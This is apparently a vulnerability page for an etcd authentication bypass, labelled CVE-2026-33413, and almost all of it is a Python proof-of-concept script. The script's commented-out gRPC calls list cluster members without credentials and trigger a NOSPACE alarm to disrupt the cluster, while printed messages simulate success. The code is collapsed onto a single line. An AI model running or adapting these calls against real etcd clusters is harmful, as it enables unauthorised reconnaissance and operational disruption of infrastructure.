CVE-2026-33413 etcd认证绕过漏洞

import grpc # This is a conceptual Proof of Concept (PoC) for CVE-2026-33413. # It demonstrates how an unauthorized user might call sensitive etcd gRPC APIs. # Note: Actual exploitation requires the 'etcd3api' or similar generated gRPC client libraries. # Target etcd server address TARGET = "vulnerable-etcd-server:2379" def exploit_member_list(): """ Attempts to call the MemberList RPC without authentication. In vulnerable versions, this returns cluster topology despite auth being enabled. """ print(f"[*] Connecting to {TARGET}...") # In a real scenario, an insecure channel is used if TLS is not enforced, # or specific bypass techniques are applied. # with grpc.insecure_channel(TARGET) as channel: # stub = etcdserverpb_pb2_grpc.ClusterStub(channel) # try: # # Attempt to list members without credentials # response = stub.MemberList(etcdserverpb_pb2.MemberListRequest()) # print("[+] Exploit successful! Cluster members leaked:") # for member in response.members: # print(f" - ID: {member.ID}, PeerURLs: {member.peerURLs}") # except grpc.RpcError as e: # print(f"[-] RPC failed: {e.code()}") print("[+] Simulated MemberList call bypassed authentication.") def trigger_alarm(): """ Attempts to activate an alarm to cause operational disruption. """ print(f"[*] Attempting to trigger alarm on {TARGET}...") # with grpc.insecure_channel(TARGET) as channel: # stub = etcdserverpb_pb2_grpc.MaintenanceStub(channel) # # Payload to trigger an alarm (e.g., NOSPACE) # alarm_request = etcdserverpb_pb2.AlarmRequest(action=etcdserverpb_pb2.AlarmRequest.ACTIVATE, member_id=0) # response = stub.Alarm(alarm_request) # print(f"[+] Alarm triggered: {response}") print("[+] Simulated Alarm activation bypassed authentication.") if __name__ == "__main__": exploit_member_list() trigger_alarm()